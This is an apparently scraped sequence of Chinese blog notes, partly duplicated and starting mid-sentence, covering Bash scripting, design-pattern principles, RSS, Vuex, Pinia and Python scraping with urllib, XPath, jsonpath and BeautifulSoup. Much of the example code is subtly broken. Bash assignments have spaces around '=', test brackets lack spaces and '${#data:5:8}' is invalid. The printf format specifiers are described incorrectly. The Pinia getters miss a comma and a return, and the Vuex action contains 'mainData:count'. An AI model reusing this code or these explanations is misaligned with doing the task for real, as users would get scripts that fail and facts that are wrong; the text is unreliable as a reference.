"文件可读" else echo "文件不可读" fi if [-e $data] then echo "文件存在" else echo "文件不存在" fi echo和printf echo可以输出普通字符串,转义,变量 开启转义功能:echo -e “hallo!!! \n” 使用单引号可以原封不动的输出字符串 将执行结果指向到文件中 echo “hallo word” > data printf比较高级点,可以定义字符串的对齐方式,宽度等等,而且printf默认不自动添加换行符(echo自动添加),可以手动\n printf “%-8s %-5s %-6.3s\n” root data main 6.12345 上面这句脚本的%s表示输出字符串(类似的还有$c(整型输出),$d(字符输出),$f(小数输出)) %-8s表示一个宽度为8个字符,如果有-表示左对齐,没有就是右对齐,全部字符都被输出到8个字符宽的字符中,如果不足8个字符,则自动以空格填充,超出的话,也会全部显示(不会忽略) %-6.3s表示将其格式化为小数,.3表示保留3位小数 test命令用来判断条件是否成立,数值,字符,文件都可以判断 test命令使用的是关系运算符,例如: data1 = 300 data2 = 200 if test $[data1] -gt $[data2] then echo "data1大于data2" else echo "data1小于data2" fi if判断(注意:如果else分支没有语句要执行,就不要写else了) if then elif else fi for循环 for data in 1 2 3 do echo "data : $data" done while循环 data = 1 while(( $data <= 10)) do echo $data let "data++" done until循环 data=1 until [ ! $data -lt 10 ] do echo $data data=`expr $data + 1` done case … esac语句(替代switch语句) echo '请输入1到3之间的数字:' echo '输入的数字为:' read data case $data in 1) echo '1' ;; 2) echo '2' ;; 3) echo '3' ;; *) echo '没有输入1到3之间的数字' ;; esac 跳出循环 break(终止执行后面的循环,一般搭配判断使用) continue(只终止当前循环,不会终止执行后面的循环) 函数 demo(){ echo "hallo word" return $(($1+2)) } demo 100 300 echo " $? "
shell中文意思为壳,shell可以接受使用者的指令,来调用服务,shell的种类很多,而比较常见是Bash,头部声明#!/bin/bash,表示bash是解释脚本的程序 例如: #!/bin/bash echo "hallo word" 执行该脚本(注意:需要有可执行权限,sudo chmod +x hallo.sh) bash hallo.sh 也可以直接执行 ./hallo.sh 变量(首字符必须是字母,而且不能有bash的关键字,大小写敏感) data = “hallo” echo $data data = “word” echo ${data} 注意:如果使用单引号,单引号里面有变量的话,是无法生效的,而且还不能出现单引号,而且双引号可以使用变量和转义字符,美元符号($)只有在使用变量才需要,在定义,更新,删除变量都不需要 例如: name=“chenjunlin” data=“hallo, ${name} !” echo $data 获取字符串的长度 data=“hallo word” echo ${#data} 获取指定位置的字符 data=“hallo word” echo ${#data:5:8} 删除变量(不能删除只读变量) unset data echo ${data} 在shell脚本定义的变量只能在当前脚本交互中使用,可以通过export传递变量到子shell中,可以通过env或者export指令来获取当前shell的环境变量 参数 echo “hallo word”; echo “要执行的shell脚本:$0”; echo “参数为:$1”; ./hallo.sh abc 获取参数的个数:$# 以单一字符串的方式输出全部参数(要被双引号包裹):$* 以独立字符串的方式输出全部参数(要被双引号包裹):$@ 获取上个命令的状态(是否执行成功,0为成功,非0为失败):$? 获取当前脚本shell进程的ID:$$ 获取后台运行的最后一个进程的ID:$! 配合函数使用(参数也可以通过函数来传递) function abc(){ echo "参数1: $1" echo "被执行的脚本为: $0" } abc hallo ./hallo.sh 参数1: hallo 被执行的脚本为: hallo.sh 数组(不需要逗号分开,使用的是空格) data = (1 2 3 4 5 “hallo word”) data[6] = “shell 666” echo “${data[6]}” 获取数组的长度 ${#data[*]}或者${#data[@]}" 删除数组或者元素(如果不带索引则删除全部元素) unset data[5] 数组切片 echo “${data[@]:2:4}” 数组元素更新 echo “${data[@]/2/100}” 数学运算(bash并不支持运算,需要利用第三方工具) abc = 123 xyz =666 let data = ${abc} + ${xyz} echo $data 或者 data = `expr $abc + $xyz` echo $data data = $[$abc + $xyz] echo $data data = $(($abc + $xyz)) echo $data 注意:shell的关系运算符不支持字符串,只支持数字 判断是否相等:-eq 判断是否不相等:-ne 判断是否大于:-gt 判断是否小于:-lt 判断是否相等或者大于:-ge 判断是否相等或者小于:-le 例如: abc = 123 xyz =666 if [ $abc -eq $xyz ] then echo"相等" else echo"不相等" fi if [ $abc -gt $xyz ] then echo"大于" else echo"不大于" 布尔运算符 &&和|| 或:-o 与:-a 非:! 例如: abc = 123 xyz = 666 if [ $abc -eq $xyz -o $abc -lt $xyz] then echo"相等或者小于" else echo"不相等或者小于" fi 字符串运算符 abc = "hallo" xyz = "hi" if [$abc = $xyz];then echo"相等" else echo"不相等" 判断字符串长度是否为0:-z(为0返回true) 判断字符串长度是否不为0:-n(不为0返回true) 判断字符串是否不为空:$(不为空返回true) 例如: a = "hallo word" b = "abchhh" if [ -z $a];then echo "$a :字符串长度为0" else echo "$a :字符串长度不为0" fi if [ ${b}];then echo "$b :字符串不为空" else echo "$b :字符串为空" fi 文件运算符 检查文件是否为目录(是返回true):-d 检查文件是否为块设备文件:-b 检查文件是否为字符设备文件:-c 检查文件是否为普通文件(不是目录,也不能设备文件):-f 检查文件是否可读:-r 检查文件是否可写:-w 检查文件是否可执行:-x 检查文件大小是否大于0(大于返回true):-s 检查文件(目录)是否存在:-e 检查文件是否设置了SGID位:-g 检查文件是否设置了SUID位:-u 检查文件是否是有名管道:-p 检查文件是否设置粘着位(Sticky Bit):-k 例如: data = "/etc/hallo" if [-r $data] then echo "文件可读" else echo "文件不可读" fi if [-e $data] then echo "文件存在" else echo "文件不存在" fi echo和printf echo可以输出普通字符串,转义,变量 开启转义功能:echo -e “hallo!!! \n” 使用单引号可以原封不动的输出字符串 将执行结果指向到文件中 echo “hallo word” > data printf比较高级点,可以定义字符串的对齐方式,宽度等等,而且printf默认不自动添加换行符(echo自动添加),可以手动\n printf “%-8s %-5s %-6.3s\n” root data main 6.12345 上面这句脚本的%s表示输出字符串(类似的还有$c(整型输出),$d(字符输出),$f(小数输出)) %-8s表示一个宽度为8个字符,如果有-表示左对齐,没有就是右对齐,全部字符都被输出到8个字符宽的字符中,如果不足8个字符,则自动以空格填充,超出的话,也会全部显示(不会忽略) %-6.3s表示将其格式化为小数,.3表示保留3位小数 test命令用来判断条件是否成立,数值,字符,文件都可以判断 test命令使用的是关系运算符,例如: data1 = 300 data2 = 200 if test $[data1] -gt $[data2] then echo "data1大于data2" else echo "data1小于data2" fi if判断(注意:如果else分支没有语句要执行,就不要写else了) if then elif else fi for循环 for data in 1 2 3 do echo "data : $data" done while循环 data = 1 while(( $data <= 10)) do echo $data let "data++" done until循环 data=1 until [ ! $data -lt 10 ] do echo $data data=`expr $data + 1` done case … esac语句(替代switch语句) echo '请输入1到3之间的数字:' echo '输入的数字为:' read data case $data in 1) echo '1' ;; 2) echo '2' ;; 3) echo '3' ;; *) echo '没有输入1到3之间的数字' ;; esac 跳出循环 break(终止执行后面的循环,一般搭配判断使用) continue(只终止当前循环,不会终止执行后面的循环) 函数 demo(){ echo "hallo word" return $(($1+2)) } demo 100 300 echo " $? "
设计模式实质就是一套可以通用,复用的设计方案,设计模式是针对面向对象的,在面向对象出来之前,程序是面向过程的,设计模式就是软件设计的工具 面向过程:逻辑化过程,以逻辑实现 面向对象:思考有哪些对象,对象都有什么行为,行为的逻辑化 设计模式的好处就是通用可复用,跨语言 设计模式的6大原则: 单一职责原则:指的是一个类只负责一个职责,职责越单一,越容易复用 里氏替换原则:子类可以替换自己的父类,通过开闭原则,通过增加子类来实现父类的“修改”,子类可以添加自己的方法和属性,但是不能重写父类的方法 依赖倒置原则:依赖于接口,而不是实现,面向接口编程,类于类之间不要存在直接依赖,而依赖于接口 接口隔离原则:不同的功能应该用多种接口实现行为,而不能将接口功能直接概括全部行为,单独实现需要的接口 迪米特法则:迪米特法则又叫最少知识原则,一个对象对其他对象应该保持最少的了解,降低类与类之间的耦合,避免一个类依赖于另一个类,而导致另一个类的影响 开闭原则:指的是对扩展进行开放,对修改进行关闭,需要添加新功能,应该添加类,而不是修改原来有的类,保证程序的稳定性 常见的设计模式有工厂模式,策略模式,单例模式,代理模式,适配器模式,装饰者模式,模版方法模式,观察者模式,抽象工厂模式,门面模式 创建型模式:对象实例化的模式,创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式 创建型模式就是指创建对象,在创建对象时通过共同的接口来指向这个新创建的对象 结构型模式:把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式 行为型模式:类和对象如何交互,及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式
设计模式实质就是一套可以通用,复用的设计方案,设计模式是针对面向对象的,在面向对象出来之前,程序是面向过程的,设计模式就是软件设计的工具 面向过程:逻辑化过程,以逻辑实现 面向对象:思考有哪些对象,对象都有什么行为,行为的逻辑化 设计模式的好处就是通用可复用,跨语言 设计模式的6大原则: 单一职责原则:指的是一个类只负责一个职责,职责越单一,越容易复用 里氏替换原则:子类可以替换自己的父类,通过开闭原则,通过增加子类来实现父类的“修改”,子类可以添加自己的方法和属性,但是不能重写父类的方法 依赖倒置原则:依赖于接口,而不是实现,面向接口编程,类于类之间不要存在直接依赖,而依赖于接口 接口隔离原则:不同的功能应该用多种接口实现行为,而不能将接口功能直接概括全部行为,单独实现需要的接口 迪米特法则:迪米特法则又叫最少知识原则,一个对象对其他对象应该保持最少的了解,降低类与类之间的耦合,避免一个类依赖于另一个类,而导致另一个类的影响 开闭原则:指的是对扩展进行开放,对修改进行关闭,需要添加新功能,应该添加类,而不是修改原来有的类,保证程序的稳定性 常见的设计模式有工厂模式,策略模式,单例模式,代理模式,适配器模式,装饰者模式,模版方法模式,观察者模式,抽象工厂模式,门面模式 创建型模式:对象实例化的模式,创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式 创建型模式就是指创建对象,在创建对象时通过共同的接口来指向这个新创建的对象 结构型模式:把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式 行为型模式:类和对象如何交互,及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式
RSS指 Really Simple Syndication(简易信息聚合),RSS定义了方法来获取网站的标题以及内容,而且RSS可以被自动更新,RSS使用了XML进行编写(xml笔记:https://xiaochenabc123.test.com/archives/17.html) 一个RSS例子: <?xml version="1.0" encoding="UTF-8" ?> 小陈的辣鸡屋 https://xiaochenabc123.test.com/ xiaochenabc123.test.com 简单了解设计模式 https://xiaochenabc123.test.com/archives/121.html <![CDATA[设计模式实质就是一套可以通用,复用的设计方案,设计模式是针对面向对象的,在面向对象出来之前,程序是面向过程的,设计模式就是软件设计的工具面向过程:逻辑化过程,以逻辑实现面向对象:思考有哪些对象,...]]> xxxxxxx 可以看到是RSS频道的标题,是该频道的超链接,是该频道的描述,是定义该频道的某篇文章的,其中又有,分别表示文章标题,文章的超链接,文章的描述,其中还有表示文章的内容 RSS注释和HTML的注释一样, 注意:RSS是基于XML编写,所以全部元素都要有闭合标签,大小写敏感,属性值要带引号 channel元素除了上面那几个外,还有,, ,等等 元素还有,,,等等 RSS阅读器可以更好读取RSSfeed
RSS指 Really Simple Syndication(简易信息聚合),RSS定义了方法来获取网站的标题以及内容,而且RSS可以被自动更新,RSS使用了XML进行编写(xml笔记:https://xiaochenabc123.test.com/archives/17.html) 一个RSS例子: <?xml version="1.0" encoding="UTF-8" ?> 小陈的辣鸡屋 https://xiaochenabc123.test.com/ xiaochenabc123.test.com 简单了解设计模式 https://xiaochenabc123.test.com/archives/121.html <![CDATA[设计模式实质就是一套可以通用,复用的设计方案,设计模式是针对面向对象的,在面向对象出来之前,程序是面向过程的,设计模式就是软件设计的工具面向过程:逻辑化过程,以逻辑实现面向对象:思考有哪些对象,...]]> xxxxxxx 可以看到是RSS频道的标题,是该频道的超链接,是该频道的描述,是定义该频道的某篇文章的,其中又有,分别表示文章标题,文章的超链接,文章的描述,其中还有表示文章的内容 RSS注释和HTML的注释一样, 注意:RSS是基于XML编写,所以全部元素都要有闭合标签,大小写敏感,属性值要带引号 channel元素除了上面那几个外,还有,, ,等等 元素还有,,,等等 RSS阅读器可以更好读取RSSfeed
vuex是一个专门为vuejs应用程序的设计的状态管理 集中式存储管理应用的所有组件的状态 多组件状态共享,不同的组件改变同一个状态 vuex知识点:state,getter,mutation,action 安装vuex npm install vuex –save 或者 yarn add vuex 导入vuex包 import Vuex from “vuex” 创建vuex实例 new Vuex.store() 将vuex实例挂载在vue对象上 index.js Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态(官方推荐将获取装态的操作放到computed中) 使用解构获取状态: import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } } Getter getters: { getCount(state) { return state.count + 1 } } ... export default { mounted() { console.log(this.$store.state.count) console.log(this.$store.getters.getCount) } } mapGetters函数解构到计算属性(将store中的getter映射到局部计算属性) computed: { ...mapGetters(['getCount']) } 或者起别名(起别名是导入对象{}) computed: { ...mapGetters({mainData: 'getCount'}) // this.mainData为this.$store.getters.getCount } Mutation 在vuex中不能直接修改store的值,而是通过Mutation方法来修改,例如: mutations: { // setData(state) { // state.count = 3 // } setMain(state, intData) { state.count = intData.count // 通过传参的方式修改 } } App.vue export default { mounted() { console.log(this.$store.state.count) this.$store.commit('setMain',{count: 123}) console.log(this.$store.state.count) }, } 注意:Mutation方法内部的函数必须是同步的,是不能处理异步的 在组件中也是可以使用Mutation解构的(Mutation) 导入并且解构 import { mapMutations } from 'vuex' export default { mounted() { this.setMain({ count: 666 }); }, methods: { // 通过mapMutations解构到methods里面,其别名也是一样的操作 ...mapMutations(['setMain']) }, } Actions(异步操作,也支持mapActions解构起别名) const store = new Vuex.Store({ state: { count: 0 }, mutations: { setMain(state, intData) { state.count = intData.count // 通过传参的方式修改 } }, actions: { intData (context, mainData) { return new Promise(resolve => { setTimeout(() => { context.commit('setMain', {count: mainData:count}) resolve() },3000) }) } } }) App.vue async mounted() { console.log(this.$store.state.count) await this.$store.dispatch('intData',{count: 123}) console.log(this.$store.state.count) } 推荐使用pinia来代替vuex,pinia对ts的支持程度更好,更轻量 https://github.com/vuejs/pinia
vuex是一个专门为vuejs应用程序的设计的状态管理 集中式存储管理应用的所有组件的状态 多组件状态共享,不同的组件改变同一个状态 vuex知识点:state,getter,mutation,action 安装vuex npm install vuex –save 或者 yarn add vuex 导入vuex包 import Vuex from “vuex” 创建vuex实例 new Vuex.store() 将vuex实例挂载在vue对象上 index.js Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态(官方推荐将获取装态的操作放到computed中) 使用解构获取状态: import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } } Getter getters: { getCount(state) { return state.count + 1 } } ... export default { mounted() { console.log(this.$store.state.count) console.log(this.$store.getters.getCount) } } mapGetters函数解构到计算属性(将store中的getter映射到局部计算属性) computed: { ...mapGetters(['getCount']) } 或者起别名(起别名是导入对象{}) computed: { ...mapGetters({mainData: 'getCount'}) // this.mainData为this.$store.getters.getCount } Mutation 在vuex中不能直接修改store的值,而是通过Mutation方法来修改,例如: mutations: { // setData(state) { // state.count = 3 // } setMain(state, intData) { state.count = intData.count // 通过传参的方式修改 } } App.vue export default { mounted() { console.log(this.$store.state.count) this.$store.commit('setMain',{count: 123}) console.log(this.$store.state.count) }, } 注意:Mutation方法内部的函数必须是同步的,是不能处理异步的 在组件中也是可以使用Mutation解构的(Mutation) 导入并且解构 import { mapMutations } from 'vuex' export default { mounted() { this.setMain({ count: 666 }); }, methods: { // 通过mapMutations解构到methods里面,其别名也是一样的操作 ...mapMutations(['setMain']) }, } Actions(异步操作,也支持mapActions解构起别名) const store = new Vuex.Store({ state: { count: 0 }, mutations: { setMain(state, intData) { state.count = intData.count // 通过传参的方式修改 } }, actions: { intData (context, mainData) { return new Promise(resolve => { setTimeout(() => { context.commit('setMain', {count: mainData:count}) resolve() },3000) }) } } }) App.vue async mounted() { console.log(this.$store.state.count) await this.$store.dispatch('intData',{count: 123}) console.log(this.$store.state.count) } 推荐使用pinia来代替vuex,pinia对ts的支持程度更好,更轻量 https://github.com/vuejs/pinia
Pinia是vuejs的轻量级状态管理库,Pinia支持Vue devtools浏览器扩展工具,可扩展,模块化设计,热模块更新,轻量级,支持TypeScript,支持SSR服务器端渲染,支持vue2,vue3 Pinia作者也是vuex核心之一 安装pinia npm install pinia@next 或者 yarn add pinia@next 导入pinia并且挂载为vue插件(在Vite脚手架下) src/main.js import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js(pinia通过defineStore函数来创建state,并且接收一个id来标识state) import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.count * 2 } doublePlusOne(){ // 在getters中调用其他getters,只需要this访问一下就可以 // return this.doubleCount + 123 // 通过箭头函数参数,来动态计算 return (a)=>{ this.doubleCount + a } } }, actions: { increment() { this.count++ } } }) src/app.vue(在组件引入useDataStore,并且获取state状态) import { useDataStore } from "./stores/main.js" const store = useDataStore() console.log(store.count) ... {{ store }} {{ store.count }} 使用storeToRefs函数解构状态(storeToRefs解构,可以响应式状态) src/app.vue import { storeToRefs } from "pinia" import { useDataStore } from "./stores/main.js" const { count , doubleCount , doublePlusOne} = storeToRefs(useDataStore()) ... {{ count }} {{ doubleCount }} {{ doublePlusOne(6) }} 调用其他state的getters(假如在其他地方定义了一个getters,想使用) addData(state){ // 获取另一个通过defineStore创建state的实例 const store = useAddStore() return state.count + store.intData } Actions操作state(同步异步都可以使用Actions) export const useStore = defineStore('main', { state: () => ({ counter: 0, }), actions: { countPlusOne() { this.counter++ }, countPlus(a) { this.counter += a } } }) import { useStore } from "./Test.vue" const Store = useStore() Store.countPlusOne() Store.countPlus(3) Store.counter = 100 Actions创建的钩子,可以在各种事件,生命周期中进行触发
Pinia是vuejs的轻量级状态管理库,Pinia支持Vue devtools浏览器扩展工具,可扩展,模块化设计,热模块更新,轻量级,支持TypeScript,支持SSR服务器端渲染,支持vue2,vue3 Pinia作者也是vuex核心之一 安装pinia npm install pinia@next 或者 yarn add pinia@next 导入pinia并且挂载为vue插件(在Vite脚手架下) src/main.js import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js(pinia通过defineStore函数来创建state,并且接收一个id来标识state) import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.count * 2 } doublePlusOne(){ // 在getters中调用其他getters,只需要this访问一下就可以 // return this.doubleCount + 123 // 通过箭头函数参数,来动态计算 return (a)=>{ this.doubleCount + a } } }, actions: { increment() { this.count++ } } }) src/app.vue(在组件引入useDataStore,并且获取state状态) import { useDataStore } from "./stores/main.js" const store = useDataStore() console.log(store.count) ... {{ store }} {{ store.count }} 使用storeToRefs函数解构状态(storeToRefs解构,可以响应式状态) src/app.vue import { storeToRefs } from "pinia" import { useDataStore } from "./stores/main.js" const { count , doubleCount , doublePlusOne} = storeToRefs(useDataStore()) ... {{ count }} {{ doubleCount }} {{ doublePlusOne(6) }} 调用其他state的getters(假如在其他地方定义了一个getters,想使用) addData(state){ // 获取另一个通过defineStore创建state的实例 const store = useAddStore() return state.count + store.intData } Actions操作state(同步异步都可以使用Actions) export const useStore = defineStore('main', { state: () => ({ counter: 0, }), actions: { countPlusOne() { this.counter++ }, countPlus(a) { this.counter += a } } }) import { useStore } from "./Test.vue" const Store = useStore() Store.countPlusOne() Store.countPlus(3) Store.counter = 100 Actions创建的钩子,可以在各种事件,生命周期中进行触发
urllib,xpath,jsonpath,beautiful,requests,selenium,Scrapy python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块 urllib.request提供了最基本的http请求方法,主要带有处理授权验证,重定向,浏览器Cookies功能 模拟浏览器发送get请求,就需要使用request对象,在该对象添加http头 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.read().decode(‘utf-8’)) 使用type()方法 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(type(response)) HTTPResposne类型对象 通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders()) post发送一个请求,只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({‘hallo’:‘python’}),encoding=‘utf-8’) response = urllib.request.urlopen(‘http://httpbin.org/post'.data = data) print(response.read()) timeout参数用于设置超时时间,单位为秒 import urllib.request response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/',timeout=1) 这里设置超时时间为1秒,如果超了1秒,服务器依然没有响应就抛出URLError异常,可以结合try和except import urllib.parse import urllib.request url = "https://xiaochenabc123.test.com/" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'} data = urllib.request.Request(url=url, headers=headers) hi = hallo = urllib.request.urlopen(data) #hallo = urllib.request.urlopen(data).read().decode('utf-8') #print(hallo) # 6个方法 #abc = hi.read(6) #按字节返回 #xyz = hi.readline() # 读取一行 #a = hi.readlines() # 一行一行的读取 #b = hi.getcode() # 状态码 #c = hi.geturl() # 获取url地址 #d = hi.getheaders() # 获取状态信息 # 下载到本地 #urllib.request.urlretrieve(url,data.html) #url_img = "https://xiaochenabc123.test.com/1.jpg" #urllib.request.urlretrieve(url_img,abc.jpg) #url_mp4 = "https://xiaochenabc123.test.com/1.mp4" #urllib.request.urlretrieve(url_img,xyz.mp4) # auote() 转Unicode编码 #name = urllib.parse.quote("哈哈哈") #urlencode(),get拼接 gg = { "name": "小陈", "data": "hallo word" } haha = urllib.parse.urlencode(gg) #print(haha) # post请求 ssr = { data: "abc" } abcxyz = urllib.parse.urlencode(ssr).encode('utf‐8') nogo = urllib.request.Request(url=url, headers=headers, data=abcxyz) yesgo = urllib.request.urlopen(nogo) #print(yesgo.read().decode('utf‐8')) #ajax请求(get和post) #cookie(扩展headers) headers = { 'Cookie': 'xxxx' } #HTTPHandler() #request = urllib.request.Request(url=url, headers=headers) #handler = urllib.request.HTTPHandler() #opener = urllib.request.build_opener(handler) #response = opener.open(request) #print(response.read().decode('utf‐8')) #代理服务器 urls = "http://baidu.com" request = urllib.request.Request(url=urls, headers=headers) proxies = {'https': '14.115.106.223:808'} handler = urllib.request.ProxyHandler(proxies=proxies) opener = urllib.request.build_opener(handler) response = opener.open(request) content = response.read().decode('utf‐8') #print(content) from lxml import etree import urllib.request # 解析本地文件 #html_data = etree.parse('./hallo.html', etree.HTMLParser()) # 解析服务器响应文件 # html = etree.HTML(response.read().decode('utf‐8') #result = etree.tostring(html_data) # print(result.decode('utf-8')) # /为查找子节点,//为查找全部子孙节点(不考虑层级) # list = html_data.xpath("//ul/li") # 查找全部带id # list = html_data.xpath("//ul/li[@id]/text()") # 查找指定id # list = html_data.xpath('//ul/li[@id="a"]/text()') # 查找指定class的 # list = html_data.xpath('//ul/li[@class="a"]/text()') # 模糊查询(包含) # list = html_data.xpath('//ul/li[contains(@id, "ab")]/text()') # 查找以什么开头的 # list = html_data.xpath('//li[starts-with(@id, "a")]/text()') # 查找以什么结尾的 # list = html_data.xpath('//li[ends-with(@id, "a")]/text()') # 查找内容 # list = html_data.xpath('//a[text()="小陈的辣鸡屋"]/text()') # 多属性匹配(和) # list = html_data.xpath('//li[contains(@id, "a") and @href="https://xiaochenabc123.test.com"]/a/text()') # 或者 # list = html_data.xpath('//li[contains(@id, "a") | @href="https://xiaochenabc123.test.com"]/a/text()') # 查找指定顺序的 # list = html_data.xpath('//a[1]/text()') #获取第一个,可以指定第几个 # list = html_data.xpath('//a[last()]/text()') #获取最后一个 # list = html_data.xpath('//a[position()<6]/text()') # 获取前5个 # list = html_data.xpath('//a[last()-3]/text()') #获取倒数第4个 # print(list) #实例:获取logo和logo的url #url = "https://xiaochenabc123.test.com" #headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' #} #request = urllib.request.Request(url=url, headers=headers) #response = urllib.request.urlopen(request) #content = response.read().decode("utf-8") #hallo = etree.HTML(content) #data = hallo.xpath('//h3[@id="logo"]/a/@href')[0] #data1 = hallo.xpath('//h3[@id="logo"]/a/text()')[0] #print(data,data1) #获取文章的标题 #headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' #} # #if __name__ == "__main__": # page1 = int(input("开始")) # page2 = int(input("结束")) # # for page in range(page1, page2 + 1): # urldata = "https://xiaochenabc123.test.com/archives/" + str(page) + ".html" # #print(urldata) # request = urllib.request.Request(url=urldata, headers=headers) # response = urllib.request.urlopen(request) # if (response.getcode() == 200): # content = response.read().decode("utf-8") # hallo = etree.HTML(content) # data = hallo.xpath('//h3[@class="post-title"]/a/text()')[0] # print(data) # elif(response.getcode() == 404): # continue #爬取网站的全部a链接,并且返回到数组中 #if __name__ == "__main__": # url = input("请输入要爬取的url") # abc = int(input("是否启动只搜索当前域名的url,请回复0或者1")) # headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' # } # request = urllib.request.Request(url=url, headers=headers) # response = urllib.request.urlopen(request) # content = response.read().decode("utf-8") # hallo = etree.HTML(content) # data = hallo.xpath('//a/@href') # a = 1 # b = 1 # c = "https" # d = "http" # if (abc == 1): # while a < len(data): # if (c or d in data[a]): # if (url in data[a]): # urldata = data[a] # print(urldata) # a += 1 # else: # while b < len(data): # if (c or d in data[a]): # urldata = data[b] # print(urldata) # b += 1 练习(json解析bing官方提供的api,获取精密壁纸) import jsonpath import json import urllib.request # pip install jsonpath headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } abc = 0 while abc == 0 : a = int(input("请输入要下载的张数(bing最多只能下载8张)")) aa = str(a) if(a<=8): urlapi = "https://cn.bing.com/HPImageArchive.aspx?format=js&idx=0&n="+aa+"&mkt=zh-CN" request = urllib.request.Request(url=urlapi, headers=headers) resp = urllib.request.urlopen(request) content = resp.read().decode("utf-8") with open("data.json", "w", encoding="utf-8") as fp: fp.write(content) obj = json.load(open("data.json", "r", encoding="utf-8")) hallo = jsonpath.jsonpath(obj, "$..url") img = jsonpath.jsonpath(obj, "$..enddate") c = 0 b = 0 while c < len(hallo): hi = "https://cn.bing.com" data = hi + hallo[c] print(data) c+=1 while b < len(img): haha = img[b] + ".jpg" print(haha) urllib.request.urlretrieve(data, filename=haha) b+=1 break print("下载完成!!!") abc = 1 else: print("您输入的张数超过8张,bing官方api只能下载8张,请重新输入") Beautiful Soup解析库,和lxml一样,可以从html或者xml中解析数据和提取数据,Beautiful Soup会自动将输入数据转换为unicode编码,输出数据转换为utf-8编码。不需要考虑编码问题。除非文档没有说明编码 目前使用的是Beautiful Soup 4,简称bs4,Beautiful Soup3已停止维护 安装 pip install beautifulsoup4 注意:Beautiful Soup支持第三方解析器,如果不使用第三方解析器的话,将使用Python标准库中的html解析器 BeautifulSoup(html, html.parser) # 内置标准库 BeautifulSoup(html, lxml) # lxml库,需要下载lxml库 BeautifulSoup(html, xml) # lxml的xml解析,需要下载lxml库 BeautifulSoup(html, html5lib) # html5lib,需要下载html5lib库 pip install html5lib 第一个例子 from bs4 import BeautifulSoup # data = BeautifulSoup(open("haha.html"),encoding="utf-8", "lxml") data = BeautifulSoup(open("haha.html")) print(data.prettify()) bs会将html文档解析为树状结构,该树状结构的节点是Python对象,而这些对象可以分为4种: Tag:标签,通过tag获取指定标签内容,print(data.div),可以通过data.标签名的方式获取标签的内容(注意:输出第一个符合条件的标签) 检查对象的类型:print (type(data.div)),可以看到输出结果为,说明该对象为tag tag有两个属性,分别为name和attrs print (data.name) print (data.div.name) 可以看到输出结果为[document]和div,data的name为[document],而标签输出为标签本身的名字 print (data.div.attrs) 可以看到输出结果是{‘class’: [‘xxx’]}的键值对,可以通过data.div[“xxx”]方式获取属性值,也可以修改属性值(data.div[“class”]= “nav”),删除属性(del data.div[“class”]) NavigableString:标签内部的文本(.string),print (data.p.string),判断类型,print (type(data.p.string)),输出结果为 BeautifulSoup:文档的全部内容,也就是data本身,print (type(data)), Comment:特殊一点的NavigableString类型,可以输出注释的内容(不带注释符号),通过类型判断print (type(data.span.string)),可以看到输出 查找 print(data.div.content) # 查找div的全部子节点,并且以列表的方式输出,可以使用索引来指定获取第几个节点 print(data.div.children) #一样是查找div的全部子节点,不过是list生成器,需要手动遍历获取 print(data.select("span")) #查找标签,也可以通过类名或者id名查找,支持组合查找(和css方式一样) print(data.find("div")) print(data.find("div",class_="nav")) selenium是一个web应用自动化测试工具,selenium可以直接运行在目前主流浏览器驱动(本身没有浏览器功能,需要搭配第三方浏览器,支持无界面浏览器),模拟用户操作 因为其自动化和可以直接运行在浏览器的原因,可以用于爬虫 